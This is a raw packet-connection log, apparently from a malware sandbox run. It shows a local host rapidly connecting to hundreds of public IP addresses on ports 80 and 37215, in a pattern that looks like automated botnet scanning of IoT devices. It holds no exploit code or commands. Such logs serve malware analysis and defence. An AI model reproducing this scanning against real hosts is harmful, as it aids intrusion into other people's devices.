Dec 3, 2024 21:47:26.428905010 CET	39419	80	192.168.2.13	217.28.181.63
Dec 3, 2024 21:47:26.428910017 CET	39419	80	192.168.2.13	219.74.21.48
Dec 3, 2024 21:47:26.428910017 CET	39419	80	192.168.2.13	62.221.7.67
Dec 3, 2024 21:47:26.428910971 CET	39419	80	192.168.2.13	95.169.207.169
Dec 3, 2024 21:47:26.428910971 CET	39419	80	192.168.2.13	105.191.191.92
Dec 3, 2024 21:47:26.428910971 CET	39419	80	192.168.2.13	182.135.128.140
Dec 3, 2024 21:47:26.428913116 CET	39419	80	192.168.2.13	125.255.115.40
Dec 3, 2024 21:47:26.428917885 CET	39419	80	192.168.2.13	109.50.145.137
Dec 3, 2024 21:47:26.428922892 CET	39419	80	192.168.2.13	145.153.161.13
Dec 3, 2024 21:47:26.428936005 CET	39419	80	192.168.2.13	8.181.73.22
Dec 3, 2024 21:47:26.428939104 CET	39419	80	192.168.2.13	216.222.76.25
Dec 3, 2024 21:47:26.428945065 CET	39419	80	192.168.2.13	87.105.76.142
Dec 3, 2024 21:47:26.428947926 CET	39419	80	192.168.2.13	160.219.60.220
Dec 3, 2024 21:47:26.428949118 CET	39419	80	192.168.2.13	178.29.193.190
Dec 3, 2024 21:47:26.428949118 CET	39419	80	192.168.2.13	199.34.42.178
Dec 3, 2024 21:47:26.428949118 CET	39419	80	192.168.2.13	217.111.155.253
Dec 3, 2024 21:47:26.428950071 CET	39419	80	192.168.2.13	137.123.126.139
Dec 3, 2024 21:47:26.428972006 CET	39419	80	192.168.2.13	140.102.123.190
Dec 3, 2024 21:47:26.428976059 CET	39419	80	192.168.2.13	142.101.1.152
Dec 3, 2024 21:47:26.428976059 CET	39419	80	192.168.2.13	114.187.175.130
Dec 3, 2024 21:47:26.428976059 CET	39419	80	192.168.2.13	93.75.51.144
Dec 3, 2024 21:47:26.428976059 CET	39419	80	192.168.2.13	172.100.17.160
Dec 3, 2024 21:47:26.428977013 CET	39419	80	192.168.2.13	193.214.114.200
Dec 3, 2024 21:47:26.428987026 CET	39419	80	192.168.2.13	216.136.56.150
Dec 3, 2024 21:47:26.428988934 CET	39419	80	192.168.2.13	162.7.189.108
Dec 3, 2024 21:47:26.428988934 CET	39419	80	192.168.2.13	147.240.84.30
Dec 3, 2024 21:47:26.428988934 CET	39419	80	192.168.2.13	199.93.2.24
Dec 3, 2024 21:47:26.428989887 CET	39419	80	192.168.2.13	17.140.190.12
Dec 3, 2024 21:47:26.429006100 CET	39419	80	192.168.2.13	178.162.48.237
Dec 3, 2024 21:47:26.429006100 CET	39419	80	192.168.2.13	167.80.197.222
Dec 3, 2024 21:47:26.429008007 CET	39419	80	192.168.2.13	114.240.92.29
Dec 3, 2024 21:47:26.429009914 CET	39419	80	192.168.2.13	105.103.113.211
Dec 3, 2024 21:47:26.429018974 CET	39419	80	192.168.2.13	99.176.220.72
Dec 3, 2024 21:47:26.429034948 CET	39419	80	192.168.2.13	218.44.119.49
Dec 3, 2024 21:47:26.429034948 CET	39419	80	192.168.2.13	150.231.56.162
Dec 3, 2024 21:47:26.429034948 CET	39419	80	192.168.2.13	156.50.13.99
Dec 3, 2024 21:47:26.429034948 CET	39419	80	192.168.2.13	27.128.4.177
Dec 3, 2024 21:47:26.429039001 CET	39419	80	192.168.2.13	171.45.194.221
Dec 3, 2024 21:47:26.429050922 CET	39419	80	192.168.2.13	166.194.88.246
Dec 3, 2024 21:47:26.429059029 CET	39419	80	192.168.2.13	144.215.28.153
Dec 3, 2024 21:47:26.429059982 CET	39419	80	192.168.2.13	176.26.185.9
Dec 3, 2024 21:47:26.429070950 CET	39419	80	192.168.2.13	184.164.217.22
Dec 3, 2024 21:47:26.429081917 CET	39419	80	192.168.2.13	197.0.50.75
Dec 3, 2024 21:47:26.429090977 CET	39419	80	192.168.2.13	83.187.28.2
Dec 3, 2024 21:47:26.429099083 CET	39419	80	192.168.2.13	149.193.186.203
Dec 3, 2024 21:47:26.429101944 CET	39419	80	192.168.2.13	198.9.243.65
Dec 3, 2024 21:47:26.429101944 CET	39419	80	192.168.2.13	222.199.31.129
Dec 3, 2024 21:47:26.429100037 CET	39419	80	192.168.2.13	120.183.138.229
Dec 3, 2024 21:47:26.429117918 CET	39419	80	192.168.2.13	67.36.141.88
Dec 3, 2024 21:47:26.429121971 CET	39419	80	192.168.2.13	94.32.163.77
Dec 3, 2024 21:47:26.429131031 CET	39419	80	192.168.2.13	204.86.30.167
Dec 3, 2024 21:47:26.429131985 CET	39419	80	192.168.2.13	126.144.61.40
Dec 3, 2024 21:47:26.429138899 CET	39419	80	192.168.2.13	47.9.105.13
Dec 3, 2024 21:47:26.429141045 CET	39419	80	192.168.2.13	122.97.28.242
Dec 3, 2024 21:47:26.429143906 CET	39419	80	192.168.2.13	192.253.199.31
Dec 3, 2024 21:47:26.429152966 CET	39419	80	192.168.2.13	108.101.44.166
Dec 3, 2024 21:47:26.429158926 CET	39419	80	192.168.2.13	194.100.54.130
Dec 3, 2024 21:47:26.429168940 CET	39419	80	192.168.2.13	84.136.85.237
Dec 3, 2024 21:47:26.429174900 CET	39419	80	192.168.2.13	116.207.145.108
Dec 3, 2024 21:47:26.429183006 CET	39419	80	192.168.2.13	104.144.75.23
Dec 3, 2024 21:47:26.429197073 CET	39419	80	192.168.2.13	4.233.219.156
Dec 3, 2024 21:47:26.429199934 CET	39419	80	192.168.2.13	161.130.118.21
Dec 3, 2024 21:47:26.429203033 CET	39419	80	192.168.2.13	54.36.215.231
Dec 3, 2024 21:47:26.429208994 CET	39419	80	192.168.2.13	94.225.24.54
Dec 3, 2024 21:47:26.429215908 CET	39419	80	192.168.2.13	157.95.197.128
Dec 3, 2024 21:47:26.429228067 CET	39419	80	192.168.2.13	205.149.102.43
Dec 3, 2024 21:47:26.429228067 CET	39419	80	192.168.2.13	39.173.124.255
Dec 3, 2024 21:47:26.429234028 CET	39419	80	192.168.2.13	17.39.156.9
Dec 3, 2024 21:47:26.429236889 CET	39419	80	192.168.2.13	93.119.187.175
Dec 3, 2024 21:47:26.429249048 CET	39419	80	192.168.2.13	159.13.236.129
Dec 3, 2024 21:47:26.429249048 CET	39419	80	192.168.2.13	192.32.64.243
Dec 3, 2024 21:47:26.429250002 CET	39419	80	192.168.2.13	213.231.20.43
Dec 3, 2024 21:47:26.429253101 CET	39419	80	192.168.2.13	46.3.176.123
Dec 3, 2024 21:47:26.429260015 CET	39419	80	192.168.2.13	111.126.189.32
Dec 3, 2024 21:47:26.429264069 CET	39419	80	192.168.2.13	180.232.243.13
Dec 3, 2024 21:47:26.429281950 CET	39419	80	192.168.2.13	40.222.17.49
Dec 3, 2024 21:47:26.429281950 CET	39419	80	192.168.2.13	9.57.1.220
Dec 3, 2024 21:47:26.429285049 CET	39419	80	192.168.2.13	107.28.127.54
Dec 3, 2024 21:47:26.429281950 CET	39419	80	192.168.2.13	40.94.129.177
Dec 3, 2024 21:47:26.429286957 CET	39419	80	192.168.2.13	220.182.53.132
Dec 3, 2024 21:47:26.429289103 CET	39419	80	192.168.2.13	93.31.12.245
Dec 3, 2024 21:47:26.429294109 CET	39419	80	192.168.2.13	8.164.65.47
Dec 3, 2024 21:47:26.429294109 CET	39419	80	192.168.2.13	98.121.120.185
Dec 3, 2024 21:47:26.429306984 CET	39419	80	192.168.2.13	46.66.76.173
Dec 3, 2024 21:47:26.429312944 CET	39419	80	192.168.2.13	181.208.68.147
Dec 3, 2024 21:47:26.429322958 CET	39419	80	192.168.2.13	59.25.190.167
Dec 3, 2024 21:47:26.429325104 CET	39419	80	192.168.2.13	110.93.10.120
Dec 3, 2024 21:47:26.429333925 CET	39419	80	192.168.2.13	32.90.218.211
Dec 3, 2024 21:47:26.429343939 CET	39419	80	192.168.2.13	27.154.194.158
Dec 3, 2024 21:47:26.429343939 CET	39419	80	192.168.2.13	223.213.213.205
Dec 3, 2024 21:47:26.429344893 CET	39419	80	192.168.2.13	64.10.152.142
Dec 3, 2024 21:47:26.429348946 CET	39419	80	192.168.2.13	124.137.153.158
Dec 3, 2024 21:47:26.429352045 CET	39419	80	192.168.2.13	101.100.159.247
Dec 3, 2024 21:47:26.429362059 CET	39419	80	192.168.2.13	144.96.124.86
Dec 3, 2024 21:47:26.429367065 CET	39419	80	192.168.2.13	90.137.214.1
Dec 3, 2024 21:47:26.429368973 CET	39419	80	192.168.2.13	195.103.32.105
Dec 3, 2024 21:47:26.429371119 CET	39419	80	192.168.2.13	76.133.151.226
Dec 3, 2024 21:47:26.429382086 CET	39419	80	192.168.2.13	37.170.156.59
Dec 3, 2024 21:47:26.429388046 CET	39419	80	192.168.2.13	185.146.105.1
Dec 3, 2024 21:47:26.429389000 CET	39419	80	192.168.2.13	23.135.49.192
Dec 3, 2024 21:47:26.429402113 CET	39419	80	192.168.2.13	153.75.65.108
Dec 3, 2024 21:47:26.429413080 CET	39419	80	192.168.2.13	168.137.130.184
Dec 3, 2024 21:47:26.429429054 CET	39419	80	192.168.2.13	118.143.254.134
Dec 3, 2024 21:47:26.429429054 CET	39419	80	192.168.2.13	179.110.170.154
Dec 3, 2024 21:47:26.429961920 CET	36530	80	192.168.2.13	66.104.233.206
Dec 3, 2024 21:47:26.430563927 CET	38160	80	192.168.2.13	40.170.153.39
Dec 3, 2024 21:47:26.431201935 CET	47870	80	192.168.2.13	155.105.23.33
Dec 3, 2024 21:47:26.431880951 CET	49348	80	192.168.2.13	13.92.149.139
Dec 3, 2024 21:47:26.432456970 CET	53096	80	192.168.2.13	167.27.167.164
Dec 3, 2024 21:47:26.433072090 CET	38866	80	192.168.2.13	53.2.196.30
Dec 3, 2024 21:47:26.433759928 CET	44958	80	192.168.2.13	75.254.147.50
Dec 3, 2024 21:47:26.434530020 CET	58752	80	192.168.2.13	95.231.217.193
Dec 3, 2024 21:47:26.452573061 CET	54592	80	192.168.2.13	62.250.47.221
Dec 3, 2024 21:47:26.452573061 CET	44918	80	192.168.2.13	126.129.144.5
Dec 3, 2024 21:47:26.452577114 CET	36474	37215	192.168.2.13	41.170.21.145
Dec 3, 2024 21:47:26.452584982 CET	44718	37215	192.168.2.13	197.102.244.208
Dec 3, 2024 21:47:26.452584982 CET	60664	37215	192.168.2.13	41.193.68.101
Dec 3, 2024 21:47:26.452585936 CET	36962	80	192.168.2.13	72.97.142.213
Dec 3, 2024 21:47:26.452586889 CET	58702	80	192.168.2.13	107.213.65.9
Dec 3, 2024 21:47:26.452586889 CET	36022	37215	192.168.2.13	197.79.18.120
Dec 3, 2024 21:47:26.452586889 CET	45998	37215	192.168.2.13	41.227.92.100
Dec 3, 2024 21:47:26.452588081 CET	56212	37215	192.168.2.13	41.179.108.209
Dec 3, 2024 21:47:26.452589989 CET	42064	37215	192.168.2.13	197.233.207.19
Dec 3, 2024 21:47:26.452589035 CET	35092	37215	192.168.2.13	156.18.66.100
Dec 3, 2024 21:47:26.452589035 CET	56338	37215	192.168.2.13	41.84.2.171
Dec 3, 2024 21:47:26.452605963 CET	41324	80	192.168.2.13	12.24.147.177
Dec 3, 2024 21:47:26.541135073 CET	37215	52242	156.244.222.255	192.168.2.13
Dec 3, 2024 21:47:26.541145086 CET	37215	49212	156.81.165.124	192.168.2.13
Dec 3, 2024 21:47:26.541150093 CET	37215	53458	197.197.99.27	192.168.2.13
Dec 3, 2024 21:47:26.541155100 CET	37215	42222	197.140.239.213	192.168.2.13
Dec 3, 2024 21:47:26.541177988 CET	37215	35850	197.66.11.86	192.168.2.13
Dec 3, 2024 21:47:26.541183949 CET	37215	51450	197.49.143.54	192.168.2.13
Dec 3, 2024 21:47:26.541203022 CET	37215	51526	156.120.218.74	192.168.2.13
Dec 3, 2024 21:47:26.541213989 CET	37215	54658	41.159.45.219	192.168.2.13
Dec 3, 2024 21:47:26.541243076 CET	37215	38428	197.217.135.4	192.168.2.13
Dec 3, 2024 21:47:26.541260958 CET	37215	59250	41.248.180.24	192.168.2.13
Dec 3, 2024 21:47:26.541265011 CET	37215	39400	197.70.204.94	192.168.2.13
Dec 3, 2024 21:47:26.541265011 CET	52242	37215	192.168.2.13	156.244.222.255
Dec 3, 2024 21:47:26.541265011 CET	49212	37215	192.168.2.13	156.81.165.124
Dec 3, 2024 21:47:26.541271925 CET	42222	37215	192.168.2.13	197.140.239.213
Dec 3, 2024 21:47:26.541271925 CET	53458	37215	192.168.2.13	197.197.99.27
Dec 3, 2024 21:47:26.541275978 CET	35850	37215	192.168.2.13	197.66.11.86
Dec 3, 2024 21:47:26.541276932 CET	54658	37215	192.168.2.13	41.159.45.219
Dec 3, 2024 21:47:26.541290998 CET	51450	37215	192.168.2.13	197.49.143.54
Dec 3, 2024 21:47:26.541290998 CET	51526	37215	192.168.2.13	156.120.218.74
Dec 3, 2024 21:47:26.541295052 CET	38428	37215	192.168.2.13	197.217.135.4
Dec 3, 2024 21:47:26.541296959 CET	59250	37215	192.168.2.13	41.248.180.24
Dec 3, 2024 21:47:26.541311026 CET	39400	37215	192.168.2.13	197.70.204.94
Dec 3, 2024 21:47:26.541356087 CET	37215	54092	156.115.33.143	192.168.2.13
Dec 3, 2024 21:47:26.541383982 CET	54658	37215	192.168.2.13	41.159.45.219
Dec 3, 2024 21:47:26.541402102 CET	54092	37215	192.168.2.13	156.115.33.143
Dec 3, 2024 21:47:26.541412115 CET	38428	37215	192.168.2.13	197.217.135.4
Dec 3, 2024 21:47:26.541414976 CET	51526	37215	192.168.2.13	156.120.218.74
Dec 3, 2024 21:47:26.541435003 CET	35850	37215	192.168.2.13	197.66.11.86
Dec 3, 2024 21:47:26.541435003 CET	51450	37215	192.168.2.13	197.49.143.54
Dec 3, 2024 21:47:26.541450977 CET	49212	37215	192.168.2.13	156.81.165.124
Dec 3, 2024 21:47:26.541451931 CET	42222	37215	192.168.2.13	197.140.239.213
Dec 3, 2024 21:47:26.541451931 CET	53458	37215	192.168.2.13	197.197.99.27
Dec 3, 2024 21:47:26.541466951 CET	39400	37215	192.168.2.13	197.70.204.94
Dec 3, 2024 21:47:26.541477919 CET	52242	37215	192.168.2.13	156.244.222.255
Dec 3, 2024 21:47:26.541510105 CET	59250	37215	192.168.2.13	41.248.180.24
Dec 3, 2024 21:47:26.541510105 CET	34043	37215	192.168.2.13	156.55.59.248
Dec 3, 2024 21:47:26.541516066 CET	34043	37215	192.168.2.13	197.134.166.191
Dec 3, 2024 21:47:26.541527033 CET	34043	37215	192.168.2.13	156.216.205.112
Dec 3, 2024 21:47:26.541527987 CET	34043	37215	192.168.2.13	156.135.136.138
Dec 3, 2024 21:47:26.541538954 CET	34043	37215	192.168.2.13	156.68.78.167
Dec 3, 2024 21:47:26.541547060 CET	34043	37215	192.168.2.13	156.4.15.233
Dec 3, 2024 21:47:26.541548014 CET	34043	37215	192.168.2.13	41.37.81.88
Dec 3, 2024 21:47:26.541553020 CET	34043	37215	192.168.2.13	41.237.246.27
Dec 3, 2024 21:47:26.541553020 CET	34043	37215	192.168.2.13	197.120.164.60
Dec 3, 2024 21:47:26.541563034 CET	34043	37215	192.168.2.13	41.107.204.193
Dec 3, 2024 21:47:26.541564941 CET	34043	37215	192.168.2.13	156.98.13.171
Dec 3, 2024 21:47:26.541565895 CET	37215	53000	41.70.169.235	192.168.2.13
Dec 3, 2024 21:47:26.541568041 CET	34043	37215	192.168.2.13	41.168.219.222
Dec 3, 2024 21:47:26.541589975 CET	34043	37215	192.168.2.13	156.76.9.18
Dec 3, 2024 21:47:26.541589975 CET	34043	37215	192.168.2.13	197.27.24.16
Dec 3, 2024 21:47:26.541589975 CET	34043	37215	192.168.2.13	197.134.221.255
Dec 3, 2024 21:47:26.541606903 CET	34043	37215	192.168.2.13	156.254.15.185
Dec 3, 2024 21:47:26.541606903 CET	34043	37215	192.168.2.13	197.150.229.171
Dec 3, 2024 21:47:26.541615009 CET	34043	37215	192.168.2.13	41.203.60.157
Dec 3, 2024 21:47:26.541620016 CET	34043	37215	192.168.2.13	197.245.169.46
Dec 3, 2024 21:47:26.541623116 CET	34043	37215	192.168.2.13	156.113.74.61
Dec 3, 2024 21:47:26.541629076 CET	34043	37215	192.168.2.13	197.34.245.253
Dec 3, 2024 21:47:26.541635990 CET	34043	37215	192.168.2.13	197.167.119.38
Dec 3, 2024 21:47:26.541635990 CET	34043	37215	192.168.2.13	156.23.192.241
Dec 3, 2024 21:47:26.541654110 CET	34043	37215	192.168.2.13	197.124.84.112
Dec 3, 2024 21:47:26.541657925 CET	34043	37215	192.168.2.13	156.7.36.11
Dec 3, 2024 21:47:26.541666985 CET	34043	37215	192.168.2.13	156.125.61.90
Dec 3, 2024 21:47:26.541668892 CET	34043	37215	192.168.2.13	156.233.44.180
Dec 3, 2024 21:47:26.541676998 CET	34043	37215	192.168.2.13	41.83.56.49
Dec 3, 2024 21:47:26.541680098 CET	34043	37215	192.168.2.13	156.45.91.140
Dec 3, 2024 21:47:26.541685104 CET	53000	37215	192.168.2.13	41.70.169.235
Dec 3, 2024 21:47:26.541685104 CET	34043	37215	192.168.2.13	197.66.238.150
Dec 3, 2024 21:47:26.541685104 CET	34043	37215	192.168.2.13	197.63.182.180
Dec 3, 2024 21:47:26.541701078 CET	34043	37215	192.168.2.13	197.194.246.184
Dec 3, 2024 21:47:26.541716099 CET	34043	37215	192.168.2.13	156.189.51.44
Dec 3, 2024 21:47:26.541716099 CET	34043	37215	192.168.2.13	197.126.25.4
Dec 3, 2024 21:47:26.541735888 CET	34043	37215	192.168.2.13	197.28.244.18
Dec 3, 2024 21:47:26.541735888 CET	34043	37215	192.168.2.13	156.109.195.78
Dec 3, 2024 21:47:26.541737080 CET	34043	37215	192.168.2.13	197.101.35.249
Dec 3, 2024 21:47:26.541738033 CET	34043	37215	192.168.2.13	197.178.174.155
Dec 3, 2024 21:47:26.541738033 CET	34043	37215	192.168.2.13	197.62.193.129
Dec 3, 2024 21:47:26.541754961 CET	34043	37215	192.168.2.13	41.29.125.129
Dec 3, 2024 21:47:26.541768074 CET	34043	37215	192.168.2.13	197.64.187.218
Dec 3, 2024 21:47:26.541768074 CET	34043	37215	192.168.2.13	156.41.105.193
Dec 3, 2024 21:47:26.541768074 CET	34043	37215	192.168.2.13	156.213.254.108
Dec 3, 2024 21:47:26.541770935 CET	34043	37215	192.168.2.13	197.167.6.29
Dec 3, 2024 21:47:26.541770935 CET	34043	37215	192.168.2.13	156.255.195.11
Dec 3, 2024 21:47:26.541770935 CET	34043	37215	192.168.2.13	197.57.121.115
Dec 3, 2024 21:47:26.541770935 CET	34043	37215	192.168.2.13	41.82.93.107
Dec 3, 2024 21:47:26.541770935 CET	34043	37215	192.168.2.13	156.49.70.22
Dec 3, 2024 21:47:26.541775942 CET	34043	37215	192.168.2.13	156.177.0.236
Dec 3, 2024 21:47:26.541775942 CET	34043	37215	192.168.2.13	156.104.119.92
Dec 3, 2024 21:47:26.541775942 CET	34043	37215	192.168.2.13	41.157.3.110
Dec 3, 2024 21:47:26.541775942 CET	34043	37215	192.168.2.13	41.202.239.74
Dec 3, 2024 21:47:26.541788101 CET	34043	37215	192.168.2.13	197.189.145.88
Dec 3, 2024 21:47:26.541788101 CET	34043	37215	192.168.2.13	156.115.150.181
Dec 3, 2024 21:47:26.541789055 CET	34043	37215	192.168.2.13	41.10.140.140
Dec 3, 2024 21:47:26.541789055 CET	34043	37215	192.168.2.13	156.52.26.27
Dec 3, 2024 21:47:26.541790009 CET	34043	37215	192.168.2.13	41.9.246.222
Dec 3, 2024 21:47:26.541793108 CET	34043	37215	192.168.2.13	156.173.47.158
Dec 3, 2024 21:47:26.541793108 CET	34043	37215	192.168.2.13	156.206.147.249
Dec 3, 2024 21:47:26.541798115 CET	34043	37215	192.168.2.13	197.69.43.236
Dec 3, 2024 21:47:26.541798115 CET	34043	37215	192.168.2.13	197.12.151.138
Dec 3, 2024 21:47:26.541805983 CET	34043	37215	192.168.2.13	156.235.119.60
Dec 3, 2024 21:47:26.541805983 CET	34043	37215	192.168.2.13	197.197.87.196
Dec 3, 2024 21:47:26.541815042 CET	34043	37215	192.168.2.13	41.149.33.31
Dec 3, 2024 21:47:26.541815042 CET	34043	37215	192.168.2.13	41.45.159.151
Dec 3, 2024 21:47:26.541829109 CET	34043	37215	192.168.2.13	41.242.54.157
Dec 3, 2024 21:47:26.541829109 CET	34043	37215	192.168.2.13	156.244.238.49
Dec 3, 2024 21:47:26.541829109 CET	34043	37215	192.168.2.13	197.111.138.28
Dec 3, 2024 21:47:26.541830063 CET	34043	37215	192.168.2.13	197.34.146.114
Dec 3, 2024 21:47:26.541830063 CET	34043	37215	192.168.2.13	156.40.60.133
Dec 3, 2024 21:47:26.541831017 CET	34043	37215	192.168.2.13	156.175.136.145
Dec 3, 2024 21:47:26.541831017 CET	34043	37215	192.168.2.13	197.238.19.226
Dec 3, 2024 21:47:26.541830063 CET	34043	37215	192.168.2.13	197.121.109.91
Dec 3, 2024 21:47:26.541830063 CET	34043	37215	192.168.2.13	156.15.145.42
Dec 3, 2024 21:47:26.541834116 CET	34043	37215	192.168.2.13	41.121.229.217
Dec 3, 2024 21:47:26.541835070 CET	34043	37215	192.168.2.13	156.76.95.202
Dec 3, 2024 21:47:26.541835070 CET	34043	37215	192.168.2.13	156.250.240.156
Dec 3, 2024 21:47:26.541835070 CET	34043	37215	192.168.2.13	156.62.190.125
Dec 3, 2024 21:47:26.541838884 CET	34043	37215	192.168.2.13	41.17.69.84
Dec 3, 2024 21:47:26.541838884 CET	34043	37215	192.168.2.13	156.42.152.0
Dec 3, 2024 21:47:26.541853905 CET	34043	37215	192.168.2.13	197.138.15.34
Dec 3, 2024 21:47:26.541853905 CET	34043	37215	192.168.2.13	156.25.86.127
Dec 3, 2024 21:47:26.541853905 CET	34043	37215	192.168.2.13	41.109.118.217
Dec 3, 2024 21:47:26.541853905 CET	34043	37215	192.168.2.13	197.13.201.90
Dec 3, 2024 21:47:26.541857958 CET	34043	37215	192.168.2.13	197.69.21.170
Dec 3, 2024 21:47:26.541857958 CET	34043	37215	192.168.2.13	156.229.183.49
Dec 3, 2024 21:47:26.541858912 CET	34043	37215	192.168.2.13	41.208.227.86
Dec 3, 2024 21:47:26.541857958 CET	34043	37215	192.168.2.13	41.54.52.21
Dec 3, 2024 21:47:26.541858912 CET	34043	37215	192.168.2.13	156.39.217.203
Dec 3, 2024 21:47:26.541858912 CET	34043	37215	192.168.2.13	197.106.234.167
Dec 3, 2024 21:47:26.541861057 CET	34043	37215	192.168.2.13	41.159.17.169
Dec 3, 2024 21:47:26.541858912 CET	34043	37215	192.168.2.13	41.70.155.136
Dec 3, 2024 21:47:26.541858912 CET	34043	37215	192.168.2.13	197.96.199.251
Dec 3, 2024 21:47:26.541858912 CET	34043	37215	192.168.2.13	197.103.118.15
Dec 3, 2024 21:47:26.541858912 CET	34043	37215	192.168.2.13	197.158.45.51
Dec 3, 2024 21:47:26.541858912 CET	34043	37215	192.168.2.13	41.77.27.93
Dec 3, 2024 21:47:26.541858912 CET	34043	37215	192.168.2.13	156.16.95.223
Dec 3, 2024 21:47:26.541858912 CET	34043	37215	192.168.2.13	197.142.229.193
Dec 3, 2024 21:47:26.541878939 CET	34043	37215	192.168.2.13	156.191.220.96
Dec 3, 2024 21:47:26.541878939 CET	34043	37215	192.168.2.13	156.219.116.200
Dec 3, 2024 21:47:26.541881084 CET	34043	37215	192.168.2.13	197.230.96.21
Dec 3, 2024 21:47:26.541881084 CET	34043	37215	192.168.2.13	197.88.70.253
Dec 3, 2024 21:47:26.541882038 CET	34043	37215	192.168.2.13	197.180.215.132
Dec 3, 2024 21:47:26.541882038 CET	34043	37215	192.168.2.13	156.94.42.154
Dec 3, 2024 21:47:26.541882038 CET	34043	37215	192.168.2.13	156.134.56.170
Dec 3, 2024 21:47:26.541883945 CET	34043	37215	192.168.2.13	197.116.126.63
Dec 3, 2024 21:47:26.541882038 CET	34043	37215	192.168.2.13	41.203.140.31
Dec 3, 2024 21:47:26.541883945 CET	34043	37215	192.168.2.13	197.90.6.130
Dec 3, 2024 21:47:26.541887999 CET	34043	37215	192.168.2.13	156.233.142.71
Dec 3, 2024 21:47:26.541882038 CET	34043	37215	192.168.2.13	197.189.5.66
Dec 3, 2024 21:47:26.541883945 CET	34043	37215	192.168.2.13	156.144.119.50
Dec 3, 2024 21:47:26.541897058 CET	34043	37215	192.168.2.13	41.40.115.16
Dec 3, 2024 21:47:26.541896105 CET	34043	37215	192.168.2.13	156.47.187.136
Dec 3, 2024 21:47:26.541883945 CET	34043	37215	192.168.2.13	197.238.103.21
Dec 3, 2024 21:47:26.541882038 CET	34043	37215	192.168.2.13	41.142.253.121
Dec 3, 2024 21:47:26.541899920 CET	34043	37215	192.168.2.13	41.166.104.83
Dec 3, 2024 21:47:26.541899920 CET	34043	37215	192.168.2.13	41.252.9.22
Dec 3, 2024 21:47:26.541882038 CET	34043	37215	192.168.2.13	41.65.110.245
Dec 3, 2024 21:47:26.541882038 CET	34043	37215	192.168.2.13	156.184.9.234
Dec 3, 2024 21:47:26.541903973 CET	34043	37215	192.168.2.13	41.151.46.156
Dec 3, 2024 21:47:26.541904926 CET	34043	37215	192.168.2.13	197.21.87.90
Dec 3, 2024 21:47:26.541909933 CET	34043	37215	192.168.2.13	156.40.13.95
Dec 3, 2024 21:47:26.541909933 CET	34043	37215	192.168.2.13	156.20.28.63
Dec 3, 2024 21:47:26.541913986 CET	34043	37215	192.168.2.13	156.157.205.156
Dec 3, 2024 21:47:26.541913986 CET	34043	37215	192.168.2.13	197.93.162.11
Dec 3, 2024 21:47:26.541915894 CET	34043	37215	192.168.2.13	41.172.185.187
Dec 3, 2024 21:47:26.541918993 CET	34043	37215	192.168.2.13	41.244.37.212
Dec 3, 2024 21:47:26.541918993 CET	34043	37215	192.168.2.13	156.61.20.70
Dec 3, 2024 21:47:26.541924000 CET	34043	37215	192.168.2.13	197.155.30.171
Dec 3, 2024 21:47:26.541924000 CET	34043	37215	192.168.2.13	41.92.39.251
Dec 3, 2024 21:47:26.541924000 CET	34043	37215	192.168.2.13	156.195.218.132
Dec 3, 2024 21:47:26.541924000 CET	34043	37215	192.168.2.13	41.10.168.94
Dec 3, 2024 21:47:26.541941881 CET	34043	37215	192.168.2.13	156.82.211.251
Dec 3, 2024 21:47:26.541941881 CET	34043	37215	192.168.2.13	41.237.165.47
Dec 3, 2024 21:47:26.541955948 CET	34043	37215	192.168.2.13	156.157.128.224
Dec 3, 2024 21:47:26.541968107 CET	34043	37215	192.168.2.13	41.10.238.248
Dec 3, 2024 21:47:26.541968107 CET	34043	37215	192.168.2.13	41.38.118.175
Dec 3, 2024 21:47:26.541975021 CET	34043	37215	192.168.2.13	197.73.237.240
Dec 3, 2024 21:47:26.541984081 CET	34043	37215	192.168.2.13	41.241.5.95
Dec 3, 2024 21:47:26.541996956 CET	34043	37215	192.168.2.13	41.25.147.147
Dec 3, 2024 21:47:26.542006016 CET	34043	37215	192.168.2.13	156.254.115.209
Dec 3, 2024 21:47:26.542011976 CET	34043	37215	192.168.2.13	197.24.214.66
Dec 3, 2024 21:47:26.542015076 CET	34043	37215	192.168.2.13	41.177.81.110
Dec 3, 2024 21:47:26.542017937 CET	34043	37215	192.168.2.13	156.125.180.142
Dec 3, 2024 21:47:26.542028904 CET	34043	37215	192.168.2.13	41.195.31.60
Dec 3, 2024 21:47:26.542037010 CET	34043	37215	192.168.2.13	41.119.64.21
Dec 3, 2024 21:47:26.542042017 CET	34043	37215	192.168.2.13	41.28.17.251
Dec 3, 2024 21:47:26.542042971 CET	34043	37215	192.168.2.13	41.131.85.38
Dec 3, 2024 21:47:26.542058945 CET	34043	37215	192.168.2.13	197.192.213.255
Dec 3, 2024 21:47:26.542076111 CET	34043	37215	192.168.2.13	41.22.170.247
Dec 3, 2024 21:47:26.542078018 CET	34043	37215	192.168.2.13	156.250.34.24
Dec 3, 2024 21:47:26.542083979 CET	34043	37215	192.168.2.13	197.172.93.76
Dec 3, 2024 21:47:26.542083979 CET	34043	37215	192.168.2.13	197.134.142.125
Dec 3, 2024 21:47:26.542083979 CET	34043	37215	192.168.2.13	41.99.109.235
Dec 3, 2024 21:47:26.542090893 CET	34043	37215	192.168.2.13	41.197.26.190
Dec 3, 2024 21:47:26.542114973 CET	34043	37215	192.168.2.13	41.87.110.204
Dec 3, 2024 21:47:26.542115927 CET	34043	37215	192.168.2.13	156.219.190.249
Dec 3, 2024 21:47:26.542119980 CET	34043	37215	192.168.2.13	197.77.152.217
Dec 3, 2024 21:47:26.542124033 CET	34043	37215	192.168.2.13	41.177.107.3
Dec 3, 2024 21:47:26.542128086 CET	34043	37215	192.168.2.13	197.152.71.141
Dec 3, 2024 21:47:26.542138100 CET	34043	37215	192.168.2.13	156.205.80.103
Dec 3, 2024 21:47:26.542143106 CET	34043	37215	192.168.2.13	41.47.23.193
Dec 3, 2024 21:47:26.542160034 CET	34043	37215	192.168.2.13	156.112.137.65
Dec 3, 2024 21:47:26.542176008 CET	34043	37215	192.168.2.13	41.162.138.232
Dec 3, 2024 21:47:26.542176962 CET	34043	37215	192.168.2.13	156.255.217.64
Dec 3, 2024 21:47:26.542179108 CET	34043	37215	192.168.2.13	156.122.52.150
Dec 3, 2024 21:47:26.542186022 CET	34043	37215	192.168.2.13	156.185.57.2
Dec 3, 2024 21:47:26.542195082 CET	34043	37215	192.168.2.13	156.125.112.226
Dec 3, 2024 21:47:26.542202950 CET	34043	37215	192.168.2.13	41.2.91.110
Dec 3, 2024 21:47:26.542217016 CET	34043	37215	192.168.2.13	197.28.36.210
Dec 3, 2024 21:47:26.542217016 CET	34043	37215	192.168.2.13	156.73.191.103
Dec 3, 2024 21:47:26.542226076 CET	34043	37215	192.168.2.13	197.249.160.123
